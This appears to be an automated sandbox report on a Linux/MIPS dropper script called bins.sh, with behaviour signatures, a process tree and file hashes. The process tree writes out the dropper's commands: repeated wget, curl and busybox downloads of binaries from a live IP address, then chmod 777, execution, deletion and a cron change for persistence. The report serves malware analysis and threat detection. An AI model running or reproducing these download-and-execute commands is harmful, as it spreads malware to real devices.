Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21-11-2024 07:12

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ed776e124eb62fb1ff51f657e9ccc15c

  • SHA1

    71dbd2838563234a9ba4946f2ef500d31b5867b8

  • SHA256

    63ebfb1dd735ffc2c621dbe9040186768beb0cf10dc504de470688646b4b578b

  • SHA512

    ac23b13fb0488543bc69e5db98a8588dfe7ad2188bca5d74c5aaa70e00b9251acfceee0df3cb69b3074b591bfbf2b0ae8fd240f1399b47f78411542053a38600

  • SSDEEP

    192:OJMpj8JUmUOUEdUTUHUkN4SXlUmUOUEdUTUHUo8:OJMpj8JpN5dCyF4SXlpN5dCyo

Malware Config

Signatures

  • Contacts a large (1685) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:713
        • /usr/bin/wget
          wget http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:715
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          ./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            ./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Executes dropped EXE
            PID:746
          • /bin/rm
            rm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
              PID:748
            • /usr/bin/wget
              wget http://216.126.231.240/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Writes file to tmp directory
              PID:749
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Writes file to tmp directory
              PID:752
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Writes file to tmp directory
              PID:764
            • /bin/chmod
              chmod 777 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • File and Directory Permissions Modification
              PID:780
            • /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              ./7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Executes dropped EXE
              PID:781
            • /bin/rm
              rm 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
                PID:784
              • /usr/bin/wget
                wget http://216.126.231.240/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Writes file to tmp directory
                PID:785
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Writes file to tmp directory
                PID:797
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Writes file to tmp directory
                PID:803
              • /bin/chmod
                chmod 777 jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • File and Directory Permissions Modification
                PID:804
              • /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                ./jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Executes dropped EXE
                PID:805
              • /bin/rm
                rm jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                  PID:807
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Writes file to tmp directory
                  PID:808
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:812
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Writes file to tmp directory
                  PID:813
                • /bin/chmod
                  chmod 777 UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • File and Directory Permissions Modification
                  PID:814
                • /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  ./UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:815
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:817
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:818
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:821
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:822
                      • /bin/rm
                        rm UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                        2⤵
                          PID:827
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                          2⤵
                            PID:831
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                            2⤵
                              PID:834
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                              2⤵
                              • Writes file to tmp directory
                              PID:837
                            • /bin/chmod
                              chmod 777 T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                              2⤵
                              • File and Directory Permissions Modification
                              PID:942
                            • /tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                              ./T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                              2⤵
                              • Executes dropped EXE
                              PID:943
                            • /bin/rm
                              rm T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                              2⤵
                                PID:945
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                                2⤵
                                  PID:946
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                                  2⤵
                                    PID:947
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:948
                                  • /bin/chmod
                                    chmod 777 7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:949
                                  • /tmp/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                                    ./7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                                    2⤵
                                    • Executes dropped EXE
                                    PID:950
                                  • /bin/rm
                                    rm 7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                                    2⤵
                                      PID:952
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
                                      2⤵
                                        PID:953

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb

                                      Filesize

                                      99KB

                                      MD5

                                      9438d9bc392bcf300a5583b6df5bc8f6

                                      SHA1

                                      375a6ae34b516f6f3eeea8030c4084f585017efa

                                      SHA256

                                      68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                      SHA512

                                      1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                    • /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD

                                      Filesize

                                      141KB

                                      MD5

                                      3ca8decdb1e52c423c521bfff02ac200

                                      SHA1

                                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                                      SHA256

                                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                      SHA512

                                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                    • /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI

                                      Filesize

                                      107KB

                                      MD5

                                      eb9c3a0de91fcf16ba17cb24608df68c

                                      SHA1

                                      09d95a7d70d5e115d103be51edff7c498d272fac

                                      SHA256

                                      dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                      SHA512

                                      9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                    • /tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV

                                      Filesize

                                      111KB

                                      MD5

                                      701e7a55a4f3650f5feee92a9860e5fc

                                      SHA1

                                      6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                      SHA256

                                      ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                      SHA512

                                      7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                    • /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G

                                      Filesize

                                      151KB

                                      MD5

                                      6c583043d91c55aa470c08c87058e917

                                      SHA1

                                      abf65a5b9bba69980278ad09356e53de8bb89439

                                      SHA256

                                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                      SHA512

                                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                    • /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

                                      Filesize

                                      98KB

                                      MD5

                                      5141342d0df8699fa32a6b066a0c592e

                                      SHA1

                                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                                      SHA256

                                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                      SHA512

                                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                    • /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL

                                      Filesize

                                      127KB

                                      MD5

                                      89077b7bd4bcafca7713be43635c4862

                                      SHA1

                                      fc02edb8fba29ea8ee99e6157ef8560334530052

                                      SHA256

                                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                      SHA512

                                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                    • /var/spool/cron/crontabs/tmp.cqYXJq

                                      Filesize

                                      210B

                                      MD5

                                      12ef9b49ba08fd65645cb12f51ce2797

                                      SHA1

                                      dbf708bc430a98a78e47a7b18e680083149cd4f4

                                      SHA256

                                      11ebebf60ba36f321c83ade7120aa7ec6da95a3077fc9759952fb2b9e5e4805a

                                      SHA512

                                      dc5f5ea17ec492f21858ee9e5170f7a155f8d88d905587fe6e328cd6ebbeb0ea95d1f92b420334b62249baf5cf3693912672ca2eb058a77ade2dc6ee398150e2